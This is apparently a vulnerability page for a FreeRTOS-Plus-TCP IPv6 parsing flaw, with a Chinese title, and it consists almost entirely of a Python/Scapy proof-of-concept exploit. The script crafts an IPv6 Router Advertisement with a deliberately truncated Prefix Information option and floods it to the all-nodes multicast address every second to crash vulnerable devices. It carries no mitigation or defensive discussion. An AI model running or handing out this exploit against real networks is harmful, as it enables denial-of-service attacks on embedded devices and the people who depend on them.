CVE-2026-7425 FreeRTOS-Plus-TCP IPv6解析DoS漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-7425 # Description: Triggers DoS in FreeRTOS-Plus-TCP via malformed IPv6 RA Prefix Info. from scapy.all import * def send_malformed_ra(): # Construct Ethernet and IPv6 headers ether = Ether(dst="33:33:00:00:00:01") ipv6 = IPv6(src="fe80::1337", dst="ff02::1") # Router Advertisement Header ra = ICMPv6ND_RA() # Malformed Prefix Information Option # Type 3, Length 1 (8 bytes) instead of the expected 4 (32 bytes) # This truncated size triggers the validation failure. mal_opt = ICMPv6NDOptPrefixInfo() mal_opt.type = 3 mal_opt.len = 1 # The malicious truncation # Assemble packet pkt = ether / ipv6 / ra / mal_opt print("[*] Sending crafted IPv6 RA packet...") sendp(pkt, iface="eth0", loop=1, inter=1) if __name__ == "__main__": send_malformed_ra()